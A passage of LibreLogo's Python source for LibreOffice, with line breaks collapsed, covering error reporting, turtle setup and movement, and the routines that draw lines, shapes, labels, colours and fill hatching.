__dispatcher__(".uno:Escape") try: _.doc.CurrentController.getViewCursor().gotoRange(_.origcursor[0], False) except: _.doc.CurrentController.getViewCursor().gotoRange(_.origcursor[0].getStart(), False) except Exception as e: try: TRACEPATTERN = '"<string>", line ' message = traceback.format_exc() l = re.findall(TRACEPATTERN + '[0-9]+', message) if len(l) > 0 and not "SystemExit" in message: line = len(re.findall(__LINEBREAK__, ''.join(self.code.split("\n")[:int(l[-1][len(TRACEPATTERN):])]))) + 1 caption = __l12n__(_.lng)['LIBRELOGO'] if __prevcode__ and "\n" in __prevcode__: __gotoline__(line) caption = __l12n__(_.lng)['ERROR'] % line parent = _.doc.CurrentController.Frame.ContainerWindow if "maximum recursion" in message: MessageBox(parent, __l12n__(_.lng)['ERR_STOP'] + " " + __l12n__(_.lng)['ERR_MAXRECURSION'] % sys.getrecursionlimit(), __l12n__(_.lng)['LIBRELOGO']) elif "cannot initialize memory" in message or "Couldn't instantiate" in message: MessageBox(parent, __l12n__(_.lng)['ERR_STOP'] + " " + __l12n__(_.lng)['ERR_MEMORY'], __l12n__(_.lng)['LIBRELOGO']) elif "ZeroDivisionError" in message: MessageBox(parent, __l12n__(_.lng)['ERR_ZERODIVISION'], caption, "errorbox") elif "IndexError" in message: MessageBox(parent, __l12n__(_.lng)['ERR_INDEX'], caption, "errorbox") elif "KeyError" in message: MessageBox(parent, __l12n__(_.lng)['ERR_KEY'] % eval(re.search("KeyError: ([^\n]*)", message).group(1)), caption, "errorbox") elif "NameError" in message: if "__repeat__" in message: MessageBox(parent, __l12n__(_.lng)['ERR_ARGUMENTS'] % (__locname__('REPEAT'), 1, 0), caption, "errorbox") else: MessageBox(parent, __l12n__(_.lng)['ERR_NAME'] % \ to_unicode(re.search("(?<=name ')[\w_]*(?=')", message).group(0)), caption, "errorbox") elif "TypeError" in message and "argument" in message and "given" in message: r = re.search("([\w_]*)[(][)][^\n]* (\w+) arguments? [(](\d+)", message) # XXX later: handle 'no arguments' + plural MessageBox(parent, __l12n__(_.lng)['ERR_ARGUMENTS'] % (__locname__(r.group(1)), r.group(2), r.group(3)), caption, "errorbox") else: origline = __compiled__.split("\n")[line-1] if not "com.sun.star" in message and not "__repeat__" in message and not "*)" in message and ("[" in origline or "]" in origline): MessageBox(parent, __l12n__(_.lng)['ERR_BLOCK'], caption, "errorbox") else: MessageBox(parent, __l12n__(_.lng)['ERROR'] %line, __l12n__(_.lng)['LIBRELOGO'], "errorbox") __trace__() except: pass with __lock__: __thread__ = None def __encodestring__(m): __strings__.append(re.sub("\\[^\\]", "", m.group(2))) return __ENCODED_STRING__ % (len(__strings__) - 1) def __encodecomment__(m): __strings__.append(re.sub("\\[^\\]", "", m.group(2))) return __ENCODED_COMMENT__ % (len(__strings__) - 1) def __decodestring__(m): return "u'%s'" % __strings__[int(m.group(1))] def __decodestring2__(m): return __l12n__(_.lng)['LEFTSTRING'][0] + __strings__[int(m.group(1))] + __l12n__(_.lng)['RIGHTSTRING'][0] def __decodecomment__(m): return ";" + __strings__[int(m.group(1))] def __initialize__(): global __halt__, __thread__ __getdocument__() _.zoomvalue = _.doc.CurrentController.getViewSettings().ZoomValue shape = __getshape__(__TURTLE__) if not shape: shape = _.doc.createInstance( "com.sun.star.drawing.PolyPolygonShape" ) shape.AnchorType = __AT_PAGE__ shape.TextWrap = __THROUGHT__ shape.Opaque = True _.drawpage.add(shape) shape.PolyPolygon = __TURTLESHAPE__[0] _.shapecache[__TURTLE__] = shape shape.Name = __TURTLE__ _.initialize() turtlehome() _.doc.CurrentController.select(shape) shape.FillColor, transparence = __splitcolor__(_.areacolor, shape) shape.LineColor, shape.LineTransparence = __splitcolor__(_.pencolor) elif shape.Visible: if shape.FillStyle == __FillStyle_NONE__: _.areacolor = 0xffffffff else: _.areacolor = shape.FillColor + (int(255.0 * shape.FillTransparence/100) << 24) if shape.LineWidth != round((1 + _.pen * 2) * __PT_TO_TWIP__ / __MM10_TO_TWIP__) and shape.LineWidth != round(__LINEWIDTH__ / __MM10_TO_TWIP__): _.pensize = shape.LineWidth * __MM10_TO_TWIP__ if shape.LineStyle == __LineStyle_NONE__: # - none - __pen__(0) else: if shape.LineStyle == __LineStyle_SOLID__: __pen__(1) _.pencolor = shape.LineColor + (int(255.0 * shape.LineTransparence/100) << 24) shape.LineJoint = __ROUNDED__ shape.Shadow = True shape.FillColor, transparence = __splitcolor__(_.areacolor, shape) shape.FillTransparence = min(95, transparence) shape.ShadowColor, shape.ShadowTransparence, shape.ShadowXDistance, shape.ShadowYDistance = (0, 20, 0, 0) shape.LineWidth = min(_.pensize, (1 + _.pen * 2) * __PT_TO_TWIP__) / __MM10_TO_TWIP__ shape.SizeProtect = True def pagesize(n = -1): if n == -1: ps = _.doc.CurrentController.getViewCursor().PageStyleName page = _.doc.StyleFamilies.getByName("PageStyles").getByName(ps) return [page.Width * __MM10_TO_TWIP__ / __PT_TO_TWIP__, page.Height * __MM10_TO_TWIP__ / __PT_TO_TWIP__] return None def turtlehome(): turtle = __getshape__(__TURTLE__) if turtle: ps = _.doc.CurrentController.getViewCursor().PageStyleName page = _.doc.StyleFamilies.getByName("PageStyles").getByName(ps) turtle.setPosition(__Point__((page.Width - turtle.BoundRect.Width)/2, (page.Height - turtle.BoundRect.Height)/2)) turtle.LineStyle = __LineStyle_SOLID__ turtle.LineJoint = __MITER__ turtle.LineWidth = min(_.pensize, (1 + _.pen * 2) * __PT_TO_TWIP__) / __MM10_TO_TWIP__ turtle.LineColor, none = __splitcolor__(_.pencolor) turtle.LineTransparence = 25 turtle.RotateAngle = 0 turtle.ZOrder = 1000 def __pen__(n): _.pen = n turtle = __getshape__(__TURTLE__) if turtle: if n: turtle.LineStyle = __LineStyle_SOLID__ turtle.LineWidth = min(_.pensize, 3 * __PT_TO_TWIP__) / __MM10_TO_TWIP__ else: turtle.LineStyle = __LineStyle_DASHED__ turtle.LineDash = __LineDash__(__DashStyle_RECT__, 0, 0, 1, __PT_TO_TWIP__, __PT_TO_TWIP__) turtle.LineWidth = min(_.pensize, __PT_TO_TWIP__) / __MM10_TO_TWIP__ def __visible__(shape, visible = -1): # for OOo 3.2 compatibility try: if visible == -1: return shape.Visible shape.Visible = visible except: return True def hideturtle(): turtle = __getshape__(__TURTLE__) if turtle and turtle.Visible: z = turtle.getPosition() z = __Point__(z.X + turtle.BoundRect.Width / 2.0, z.Y + turtle.BoundRect.Height / 2.0) turtle.PolyPolygon = __TURTLESHAPE__[1] __visible__(turtle, False) turtle.LineTransparence, turtle.FillTransparence = 100, 100 # for saved files turtle.setPosition(z) __dispatcher__(".uno:Escape") def showturtle(): turtle = __getshape__(__TURTLE__) if turtle and not turtle.Visible: if not turtle.Parent: _.drawpage.add(turtle) z = turtle.getPosition() r, turtle.RotateAngle = turtle.RotateAngle, 0 turtle.PolyPolygon, turtle.RotateAngle = __TURTLESHAPE__[0], r z = __Point__(z.X - turtle.BoundRect.Width / 2.0, z.Y - turtle.BoundRect.Height / 2.0) turtle.setPosition(z) __visible__(turtle, True) pencolor(_.pencolor) fillcolor(_.areacolor) pensize(_.pensize/__PT_TO_TWIP__) _.doc.CurrentController.select(__getshape__(__TURTLE__)) elif not turtle: __initialize__() def left(arg=None): if __thread__: return None __initialize__() turtle = uno.getComponentContext().ServiceManager.createInstance('com.sun.star.drawing.ShapeCollection') turtle.add(__getshape__(__TURTLE__)) _.doc.CurrentController.select(turtle) rotate(__TURTLE__, 1500) return None def right(arg=None): if __thread__: return None __initialize__() turtle = uno.getComponentContext().ServiceManager.createInstance('com.sun.star.drawing.ShapeCollection') turtle.add(__getshape__(__TURTLE__)) _.doc.CurrentController.select(turtle) rotate(__TURTLE__, -1500) return None def goforward(arg=None): if __thread__: return None __initialize__() turtle = uno.getComponentContext().ServiceManager.createInstance('com.sun.star.drawing.ShapeCollection') turtle.add(__getshape__(__TURTLE__)) _.doc.CurrentController.select(turtle) forward(10) return None def gobackward(arg=None): if __thread__: return None __initialize__() turtle = uno.getComponentContext().ServiceManager.createInstance('com.sun.star.drawing.ShapeCollection') turtle.add(__getshape__(__TURTLE__)) _.doc.CurrentController.select(turtle) backward(10) return None def commandline(arg=None, arg2=None): run(arg, arg2) def __setlang__(): global _ c = _.doc.CurrentController.getViewCursor() locs = [i for i in [c.CharLocale, c.CharLocaleAsian, c.CharLocaleComplex] if i.Language != 'zxx'] # not None language # FIXME-BCP47: this needs adaption to language tags, a simple split on # '-' and assuming second field would be country would already fail if # a script tag was present. loc = Locale(__uilocale__.split('-')[0], __uilocale__.split('-')[1], '') if locs and loc not in locs: loc = locs[0] _.lng = loc.Language + '_' + loc.Country if not __l12n__(_.lng): _.lng = loc.Language if not __l12n__(_.lng): _.lng = "en_US" def run(arg=None, arg2 = -1): global _, __thread__, __halt__, _, __prevcode__, __prevlang__, __prevcompiledcode__ if __thread__: return None with __lock__: __thread__ = 1 try: __getdocument__() _.origcursor = [None, None] if arg2 == -1: _.origcursor, _.cursor = __getcursor__(False), __getcursor__(True)[0] __dispatcher__(".uno:Escape") c = _.doc.Text.createTextCursor() # go to the first page c.gotoStart(False) _.doc.CurrentController.getViewCursor().gotoRange(c, False) __initialize__() __setlang__() arg2 = _.cursor.getString() if len(arg2) > 20000: if MessageBox(_.doc.CurrentController.Frame.ContainerWindow, __l12n__(_.lng)['ERR_NOTAPROGRAM'], __l12n__(_.lng)['LIBRELOGO'], "querybox", __YES_NO_CANCEL__) != 2: with __lock__: __thread__ = None return None elif len(arg2) == 0 and _.origcursor[1]: _.origcursor[0].setString("fontcolor 'green'\nlabel 'LIBRE'\npu\nback 30\npic [\n\tfc any\n\tcircle 40\n\tfontcolor 'black'\n\tlabel 'LOGO'\n\tleft 180\n\tfd 20\n\tpd\n\tpc any\n\tps 1\n\tfd 40\n\trepeat 20 [\n\t\tfd repcount*2\n\t\trt 90\n\t]\n]\npu pos any pd") __translate__() _.origcursor, _.cursor = __getcursor__(False), __getcursor__(True)[0] arg2 = _.cursor.getString() else: __initialize__() __setlang__() if __prevcode__ and __prevcode__ == arg2 and __prevlang__ == _.lng: __thread__ = LogoProgram(__prevcompiledcode__) else: __prevcode__ = arg2 __prevlang__ = _.lng __prevcompiledcode__ = __compil__(arg2) __thread__ = LogoProgram(__prevcompiledcode__) __halt__ = False turtle = uno.getComponentContext().ServiceManager.createInstance('com.sun.star.drawing.ShapeCollection') turtle.add(__getshape__(__TURTLE__)) _.doc.CurrentController.select(turtle) # set working directory for file operations if _.doc.hasLocation(): name = os.chdir(unohelper.fileUrlToSystemPath(re.sub("[^/]*$", "", _.doc.getURL()))) else: name = os.chdir(os.path.expanduser('~')) __thread__.start() except Exception as e: __thread__ = None __trace__() return None def stop(arg=None): global __halt__ with __lock__: __halt__ = True return None def home(arg=None): if __thread__: return None __getdocument__() turtle = __getshape__(__TURTLE__) if turtle: __removeshape__(__TURTLE__) _.drawpage.remove(turtle) __initialize__() __dispatcher__(".uno:Escape") if not __halt__: return None _.pencolor = 0 _.pensize = __LINEWIDTH__ _.areacolor = __FILLCOLOR__ pen = 1 __removeshape__(__ACTUAL__) def clearscreen(arg=None): if __thread__: return None __getdocument__() turtle = __getshape__(__TURTLE__) if not turtle: __initialize__() if not __halt__: # avoid unintentional image deletion in large documents if len(__getcursor__(True)[0].getString()) < 5000: __cs__(False) return __cs__(False) __dispatcher__(".uno:Escape") def __checkhalt__(): global __thread__, __halt__ if __halt__: with __lock__: __thread__ = None sys.exit() def __cs__(select = True): turtle = __getshape__(__TURTLE__) visible = False if turtle and turtle.Visible: __visible__(turtle, False) visible = True if _.doc.CurrentController.select(_.drawpage) and \ _.doc.CurrentController.getSelection().ImplementationName == "com.sun.star.drawing.SvxShapeCollection": __dispatcher__(".uno:Delete") if turtle and visible: __visible__(turtle, True) if select: _.doc.CurrentController.select(_.drawpage) def __dispatcher__(s, properties = (), doc = 0): ctx = XSCRIPTCONTEXT.getComponentContext() d = ctx.ServiceManager.createInstanceWithContext("com.sun.star.frame.DispatchHelper", ctx) if doc != 0: d.executeDispatch(doc.CurrentController.Frame, s, "", 0, properties) else: d.executeDispatch(_.doc.CurrentController.Frame, s, "", 0, properties) def __getshape__(shapename): try: if _.shapecache[shapename].Parent: return _.shapecache[shapename] _.shapecache.pop(shapename) except: pass return None def __angle__(deg): if deg == u'any': return random.random() * 36000 return deg * 100 def turnleft(deg): rotate(__TURTLE__, __angle__(deg)) def turnright(deg): rotate(__TURTLE__, -__angle__(deg)) def heading(deg = -1, go = False): turtle = __getshape__(__TURTLE__) if deg == -1: return -turtle.RotateAngle / 100 + 360 else: if deg == u'any': turtle.RotateAngle = random.random() * 36000 elif type(deg) == list: pos = turtle.getPosition() px, py = pos.X + turtle.BoundRect.Width / 2.0, pos.Y + turtle.BoundRect.Height / 2.0 dx = px * __MM10_TO_TWIP__ - deg[0] * __PT_TO_TWIP__ dy = deg[1] * __PT_TO_TWIP__ - py * __MM10_TO_TWIP__ n = sqrt(dx**2 + dy**2) if dy > 0 and n > 0: turtle.RotateAngle = a = -(180 + asin(dx / n) / (pi/180)) * 100 + 72000 # +720 for max(angle, preciseAngle) of __go__() elif n > 0: turtle.RotateAngle = a = asin(dx / n) / (pi/180) * 100 + 72000 if go and n > 0: __go__(__TURTLE__, -n, False, a) else: turtle.RotateAngle = -deg * 100 def rotate(shapename, deg): shape = __getshape__(shapename) if shape: shape.RotateAngle = shape.RotateAngle + deg def forward(n): if type(n) == list: pos = position() angle = heading() dx = n[1] * sin((pi/180) * angle) + n[0] * sin((pi/180)*(angle + 90)) dy = n[1] * cos((pi/180) * angle) + n[0] * cos((pi/180)*(angle + 90)) position([pos[0] + dx, pos[1] - dy]) elif type(n) == str: siz = label([1, 1, n]) shape = __getshape__(__ACTUAL__) pos = position() angle = heading() w, h = siz.Width / (__PT_TO_TWIP__ / __MM10_TO_TWIP__), siz.Height / (__PT_TO_TWIP__ / __MM10_TO_TWIP__) dx = 0 * sin((pi/180) * (angle)) + w * sin((pi/180)*(angle + 90)) dy = 0 * cos((pi/180) * (angle)) + w * cos((pi/180)*(angle + 90)) position([pos[0] + dx, pos[1] - dy]) heading(angle) else: __go__(__TURTLE__, -n * __PT_TO_TWIP__) def backward(n): if type(n) == list: forward([-n[0], -n[1]]) turnright(180) else: __go__(__TURTLE__, n * __PT_TO_TWIP__) def __dots__(n, pos, dx, dy, r = -1, q = 0): # dots for dotted polyline or circle f = [1, 4, 4, 4, 4][q] k = abs(int(1.0 * n / max(20, _.pensize) / 2.0 / f)) dots = [] px, py = pos.X, pos.Y for i in range(k + 1): if k > 0: if r != -1: px, py = pos.X + sin(((f-1)*(q-1)*30 + 360.0/f/k * i) * pi/180.0) * r[0], pos.Y + cos(((f-1)*(q-1)*30 + 360.0/f/k * i) * pi/180) * r[1] else: px, py = pos.X + round(i * dx/k), pos.Y + round(i * dy/k) dots += [(__Point__(px, py), __Point__(px + 7, py + 7))] return dots def __draw__(d, count = True): shape = _.doc.createInstance( "com.sun.star.drawing." + d) shape.AnchorType = __AT_PAGE__ shape.TextWrap = __THROUGHT__ __visible__(shape, False) while __zoom__(): # temporary fix program halt with continuous zoom while __zoom__(): __time__.sleep(0.2) __time__.sleep(0.2) _.drawpage.add(shape) if __group__: __group__.add(shape) if count: _.shapecache[next(_.shapecount)] = str(_.time) return shape def __zoom__(): z = _.doc.CurrentController.getViewSettings().ZoomValue if z != _.zoomvalue: _.zoomvalue = z return True return False def __lefthang__(shape): global __grouplefthang__ if __group__: p = shape.getPosition() if p.X < __grouplefthang__: __grouplefthang__ = p.X def __go__(shapename, n, dot = False, preciseAngle = -1): turtle = __getshape__(shapename) turtlepos = None if shapename == __TURTLE__: try: turtlepos = turtle.PolyPolygon[-1][-1] except: pass pos = turtle.getPosition() dx = n * sin((pi/180)*(max(turtle.RotateAngle, preciseAngle)/100)) dy = n * cos((pi/180)*(max(turtle.RotateAngle, preciseAngle)/100)) turtle.setPosition(__Point__(pos.X + dx / __MM10_TO_TWIP__, pos.Y + dy / __MM10_TO_TWIP__)) if (_.pencolor != _.oldlc or _.pensize != _.oldlw or _.linestyle != _.oldls or _.linejoint != _.oldlj or _.linecap != _.oldlcap): __removeshape__(__ACTUAL__) shape = None else: shape = __getshape__(__ACTUAL__) _.oldlw = _.pensize _.oldlc = _.pencolor _.oldls = _.linestyle _.oldlj = _.linejoint _.oldlcap = _.linecap if shape and not _.pen and not dot: _.continuous = False return c, c2 = __Point__(pos.X + turtle.BoundRect.Width / 2.0, pos.Y + turtle.BoundRect.Height / 2.0), __Point__(round(dx), round(dy)) if shape and "LineShape" in shape.ShapeType: if _.continuous or dot: last = shape.PolyPolygon[-1][-1] if not (turtlepos and (abs(last.X - turtlepos.X) > 100 or abs(last.Y - turtlepos.Y) > 100) and (not __group__ or (shape.getPosition().X > 0 and turtle.getPosition().X > 0))): # picture [ ] keeps hanging shapes if dot or _.linestyle == __LineStyle_DOTTED__: shape.PolyPolygon = tuple( list(shape.PolyPolygon) + __dots__(n, turtlepos, dx, dy)) else: last.X = last.X + c2.X last.Y = last.Y + c2.Y shape.PolyPolygon = tuple( list(shape.PolyPolygon[:-1]) + [tuple( list(shape.PolyPolygon[-1]) + [last])]) __lefthang__(shape) return elif turtlepos: shape.PolyPolygon = tuple( list(shape.PolyPolygon) + [(turtlepos, __Point__(turtlepos.X + c2.X, turtlepos.Y + c2.Y))]) _.continuous = True __lefthang__(shape) return if not _.pen and not dot: return shape = __draw__("PolyLineShape") shape.RotateAngle = 0 shape.PolyPolygon = tuple([tuple([__Point__(0, 0)])]) shape.setPosition(c) last = shape.PolyPolygon[-1][-1] last2 = __Point__(last.X + c2.X, last.Y + c2.Y) shape.LineStyle, shape.LineDash = __linestyle__(_.linestyle) shape.LineJoint = _.linejoint shape.LineCap = _.linecap if dot or _.linestyle == __LineStyle_DOTTED__: shape.PolyPolygon = tuple( list(shape.PolyPolygon) + __dots__(n, last, c2.X, c2.Y)) shape.LineStart = __bezierdot__ shape.LineStartCenter = True shape.LineStartWidth = max(20, _.pensize) / __MM10_TO_TWIP__ shape.LineWidth = 0 else: shape.PolyPolygon = tuple([tuple( list(shape.PolyPolygon[-1]) + [last2])]) shape.LineWidth = _.pensize / __MM10_TO_TWIP__ shape.LineColor, shape.LineTransparence = __splitcolor__(_.pencolor) if shape.LineTransparence == 100: shape.LineStyle = 0 __visible__(shape, True) shape.Name = __ACTUAL__ _.shapecache[__ACTUAL__] = shape _.oldlw = _.pensize _.oldlc = _.pencolor _.oldls = _.linestyle _.oldlj = _.linejoint _.oldlcap = _.linecap _.continuous = True __lefthang__(shape) def __fillit__(filled = True): oldshape = __getshape__(__ACTUAL__) if oldshape and oldshape.LineStartCenter: __removeshape__(__ACTUAL__) # FIXME close dotted polyline return if oldshape and "LineShape" in oldshape.ShapeType: shape = __draw__("PolyPolygonShape", False) shape.PolyPolygon = oldshape.PolyPolygon shape.setPosition(oldshape.getPosition()) shape.LineStyle, shape.LineDash = __linestyle__(_.linestyle) shape.LineJoint = _.linejoint shape.LineCap = _.linecap shape.LineWidth = _.pensize / __MM10_TO_TWIP__ shape.LineColor, shape.LineTransparence = __splitcolor__(_.pencolor) shape.FillColor, shape.FillTransparence = __splitcolor__(_.areacolor, shape) if _.hatch: shape.FillBackground = True if shape.FillTransparence != 100 else False shape.FillHatch = _.hatch shape.FillStyle = 3 elif type(_.areacolor) != tuple: shape.FillStyle = int(filled) if shape.LineTransparence == 100: shape.LineStyle = 0 if shape.FillTransparence == 100: shape.FillTransparence = 0 # for hatching and better modifications on UI if not _.hatch: shape.FillStyle = 0 shape.setString(oldshape.getString()) oldshape.Name = "" shape.Name = __ACTUAL__ _.shapecache[__ACTUAL__] = shape if __group__: __group__.remove(oldshape) __visible__(shape, True) _.drawpage.remove(oldshape) elif oldshape and "PolyPolygon" in oldshape.ShapeType: oldshape.LineStyle = int(_.pen) oldshape.LineJoint = _.linejoint oldshape.LineCap = _.linecap if _.hatch: oldshape.FillBackground = True oldshape.FillHatch = _.hatch oldshape.FillStyle = 3 else: oldshape.FillStyle = int(filled) oldshape.LineWidth = _.pensize / __MM10_TO_TWIP__ oldshape.LineColor, oldshape.LineTransparence = __splitcolor__(_.pencolor) oldshape.FillColor, oldshape.FillTransparence = __splitcolor__(_.areacolor, oldshape) def point(): oldpen, _.pen = _.pen, 1 oldstyle, _.linestyle = _.linestyle, __LineStyle_DOTTED__ __go__(__TURTLE__, 0, True) _.pen, _.linestyle = oldpen, oldstyle def __boxshape__(shapetype, l): turtle = __getshape__(__TURTLE__) shape = __draw__(shapetype + "Shape") pos = turtle.getPosition() pos.X = pos.X - (l[0] * __PT_TO_TWIP__ / __MM10_TO_TWIP__ / 2) + turtle.BoundRect.Width / 2.0 pos.Y = pos.Y - (l[1] * __PT_TO_TWIP__ / __MM10_TO_TWIP__ / 2) + turtle.BoundRect.Height / 2.0 shape.setPosition(pos) shape.setSize(__Size__(l[0] * __PT_TO_TWIP__ / __MM10_TO_TWIP__, l[1] * __PT_TO_TWIP__ / __MM10_TO_TWIP__)) shape.LineStyle, shape.LineDash = __linestyle__(_.linestyle) shape.LineWidth = _.pensize / __MM10_TO_TWIP__ shape.LineJoint = _.linejoint shape.LineCap = _.linecap shape.LineColor, shape.LineTransparence = __splitcolor__(_.pencolor) shape.FillColor, shape.FillTransparence = __splitcolor__(_.areacolor, shape, turtle.RotateAngle) if _.hatch: shape.FillBackground = True if shape.FillTransparence != 100 else False shape.FillHatch = _.hatch shape.FillStyle = 3 elif type(_.areacolor) != tuple: shape.FillStyle = 1 if shape.LineTransparence == 100: shape.LineStyle = 0 if shape.FillTransparence == 100: shape.FillTransparence = 0 # for hatching and better modifications on UI if not _.hatch: shape.FillStyle = 0 shape.RotateAngle = turtle.RotateAngle if shapetype == "Rectangle" and len(l) > 2: shape.CornerRadius = (l[2] * __PT_TO_TWIP__) / __MM10_TO_TWIP__ elif shapetype == "Ellipse" and len(l) > 2: try: shape.CircleKind = __SECTION__ shape.CircleStartAngle = (-l[3] - 270) * 100 shape.CircleEndAngle = (-l[2] - 270) * 100 shape.CircleKind = [__FULL__, __SECTION__, __CUT__, __ARC__][l[4]] except: pass __visible__(shape, True) __removeshape__(__ACTUAL__) _.shapecache[__ACTUAL__] = shape __lefthang__(shape) def ellipse(l): if type(l) != type([]): # default for circle and square l = [l, l] if _.linestyle == __LineStyle_DOTTED__: __groupstart__() _.linestyle = __LineStyle_SOLID__ pc, _.pencolor = _.pencolor, 0xff000000 ellipse(l) _.pencolor, _.linestyle = pc, __LineStyle_DOTTED__ point() shape = __getshape__(__ACTUAL__) shape.PolyPolygon = tuple(__dots__(max(l[0], l[1]) * pi * __PT_TO_TWIP__, shape.PolyPolygon[0][0], 0, 0, [i/2.0 * __PT_TO_TWIP__ for i in l])) turtle = __getshape__(__TURTLE__) shape.RotateAngle = turtle.RotateAngle __groupend__() else: __boxshape__("Ellipse", l) def rectangle(l): if type(l) != type([]): # default for circle and square l = [l, l] if _.linestyle == __LineStyle_DOTTED__: __groupstart__() _.linestyle = __LineStyle_SOLID__ pc, _.pencolor = _.pencolor, 0xff000000 rectangle(l) _.pencolor, _.linestyle = pc, __LineStyle_DOTTED__ point() shape = __getshape__(__ACTUAL__) if type(l) != type([]): l = [l, l] if len(l) == 2: l = l + [0] l = [i * __PT_TO_TWIP__ for i in l] c = shape.PolyPolygon[0][0] k = [min(l[0] / 2.0, l[2]), min(l[1] / 2.0, l[2])] p = __dots__(l[0] - 2 * k[0], __Point__(c.X - l[0]/2 + k[0], c.Y - l[1]/2), l[0] - 2 * k[0], 0) p = p[:-1] + __dots__(l[1] - 2 * k[1], __Point__(c.X + l[0]/2, c.Y - l[1]/2 + k[1]), 0, l[1] - 2 * k[1]) p = p[:-1] + __dots__(l[0] - 2 * k[0], __Point__(c.X + l[0]/2 - k[0], c.Y + l[1]/2), -l[0] + 2 * k[0], 0) p = p[:-1] + __dots__(l[1] - 2 * k[1], __Point__(c.X - l[0]/2, c.Y + l[1]/2 - k[1]), 0, -l[1] + 2 * k[1]) if l[2] > 0: p = p + __dots__(max(k) * 2 * pi, __Point__(c.X - l[0]/2 + k[0], c.Y - l[1]/2 + k[1]), 0, 0, k, 3)[1:] p = p + __dots__(max(k) * 2 * pi, __Point__(c.X + l[0]/2 - k[0], c.Y - l[1]/2 + k[1]), 0, 0, k, 2)[1:] p = p + __dots__(max(k) * 2 * pi, __Point__(c.X + l[0]/2 - k[0], c.Y + l[1]/2 - k[1]), 0, 0, k, 1)[1:] p = p + __dots__(max(k) * 2 * pi, __Point__(c.X - l[0]/2 + k[0], c.Y + l[1]/2 - k[1]), 0, 0, k, 4)[1:] shape.PolyPolygon = tuple(p) turtle = __getshape__(__TURTLE__) shape.RotateAngle = turtle.RotateAngle __groupend__() else: __boxshape__("Rectangle", l) def label(st): if type(st) != type([]): st = [0, 0, st] # get text size shape = _.doc.createInstance( "com.sun.star.drawing.TextShape") shape.TextAutoGrowWidth = True shape.Visible = False actual = __getshape__(__ACTUAL__) _.drawpage.add(shape) text(shape, st[2]) z = shape.getSize() # show text using RectangleShape (for correct SVG export) ac, pc = _.areacolor, _.pencolor _.areacolor, _.pencolor = 0xff000000, 0xff000000 # invisible rectangle([z.Width / (__PT_TO_TWIP__ / __MM10_TO_TWIP__), z.Height / (__PT_TO_TWIP__ / __MM10_TO_TWIP__)]) _.drawpage.remove(shape) _.pencolor, _.areacolor = pc, ac lab = __getshape__(__ACTUAL__) text(lab, st[2]) if st[0] != 0 or st[1] != 0: pos = position() angle = heading() n = [st[0] * z.Width/2, st[1] * z.Height/2] dx = n[1] * sin((pi/180) * angle) + n[0] * sin((pi/180)*(angle + 90)) dy = n[1] * cos((pi/180) * angle) + n[0] * cos((pi/180)*(angle + 90)) lab.setPosition(__Point__(round(pos[0] * __PT_TO_TWIP__ / __MM10_TO_TWIP__ + dx - lab.BoundRect.Width/2), round(pos[1] * __PT_TO_TWIP__ / __MM10_TO_TWIP__ - dy - lab.BoundRect.Height/2))) _.shapecache[__ACTUAL__] = actual return z def text(shape, st): if shape: shape.setString(__string__(st, _.decimal)) c = shape.createTextCursor() c.gotoStart(False) c.gotoEnd(True) c.CharColor, none = __splitcolor__(_.textcolor) c.CharHeight = _.fontheight c.CharWeight = __fontweight__(_.fontweight) c.CharPosture = __fontstyle__(_.fontstyle) c.CharFontName = _.fontfamily def sleep(t): _.time = _.time + t __removeshape__(__ACTUAL__) for i in range(int(t/__SLEEP_SLICE_IN_MILLISECONDS__)): __checkhalt__() __time__.sleep(0.5) __checkhalt__() __time__.sleep(t%__SLEEP_SLICE_IN_MILLISECONDS__/1000.0) def __removeshape__(shapename): try: _.shapecache.pop(shapename).Name = "" except: pass def __fontweight__(w): if type(w) == int: return w elif re.match(__l12n__(_.lng)['BOLD'], w, flags = re.I): return 150 elif re.match(__l12n__(_.lng)['NORMAL'], w, flags = re.I): return 100 return 100 def __fontstyle__(w): if type(w) == int: return w elif re.match(__l12n__(_.lng)['ITALIC'], w, flags = re.I): return __Slant_ITALIC__ elif re.match(__l12n__(_.lng)['UPRIGHT'], w, flags = re.I): return __Slant_NONE__ return __Slant_NONE__ def __color__(c): if type(c) in [int, float, long]: return c if type(c) == unicode: if c == u'any': rc, rv, rgray = __NORMCOLORS__[int(random.random()*7)], random.random(), random.random() ** 0.5 ratio = 1.0*abs(rc[2])/(abs(rc[2]) + abs(rc[4])) newcol = list(rc[0]) if rv < ratio: newcol[rc[1]] += rc[2] * rv/ratio else: newcol[rc[3]] += rc[4] * (rv - ratio)/(1 - ratio) # random grayness rdark = 1 - 2**4 * (random.random()-0.5)**4 for i in range(0, 3): newcol[i] = 255 * (rgray + (newcol[i]/255.0 - rgray) * rdark) return __color__(newcol) if c[0:1] == '~': c = __componentcolor__(__colors__[_.lng][c[1:].lower()]) for i in range(3): c[i] = max(min(c[i] + int(random.random() * 64) - 32, 255), 0) return __color__(c) return __colors__[_.lng][c.lower()] if type(c) == list: if len(c) == 1: # color index return __COLORS__[int(c[0])][1] elif len(c) == 3: # RGB return (int(c[0])%256 << 16) + (int(c[1])%256 << 8) + int(c[2])%256 elif len(c) == 2 or len(c) > 4: # gradient return (__color__(c[0]), __color__(c[1])) + tuple(c[2:]) return (int(c[3])%256 << 24) + (int(c[0])%256 << 16) + (int(c[1])%256 << 8) + int(c[2])%256 # RGB + alpha def __linestyle__(s): if _.pen == 0: return 0, __LineDash__() if _.linestyle == __LineStyle_DASHED__: return _.linestyle, __LineDash__(__DashStyle_RECT__, 0, 0, 1, 100, 100) elif _.linestyle == __LineStyle_DOTTED__: return __LineStyle_DASHED__, __LineDash__(__DashStyle_RECT__, 1, 1, 0, 0, 100000) elif type(s) == list: return __LineStyle_DASHED__, __LineDash__((s[5:6] or [0])[0], s[0], s[1] * __PT_TO_TWIP__, s[2], s[3] * __PT_TO_TWIP__, s[4] * __PT_TO_TWIP__) return s, __LineDash__() def fillstyle(s): if type(s) == list: color, null = __splitcolor__(__color__(s[1])) _.hatch = __Hatch__(s[0] - 1, color, s[2] * __PT_TO_TWIP__, s[3] * 10) elif s == 0: _.hatch = None elif s <= 10: # using hatching styles of Writer fillstyle([[1, 0, 5, 0], [1, 0, 5, 45], [1, 0, 5, -45], [1, 0, 5, 90], [2, [127, 0, 0], 5, 45], [2, [127, 0, 0], 5, 0], [2, [0, 0, 127], 5, 45], [2, [0, 0, 127], 5, 0], [3, [0, 0, 127], 5, 0], [1, 0, 25, 45]][s-1]) def __splitcolor__(c, shape = None, angle = None): if shape and (type(c) == tuple or type(_.t10y) == list): angle = heading() if angle == None else -angle / 100 + 360 if type(c) == tuple: shape.FillStyle = __FillStyle_GRADIENT__ # gradient color: [color1, color2, style, angle(must be positive for I/O), 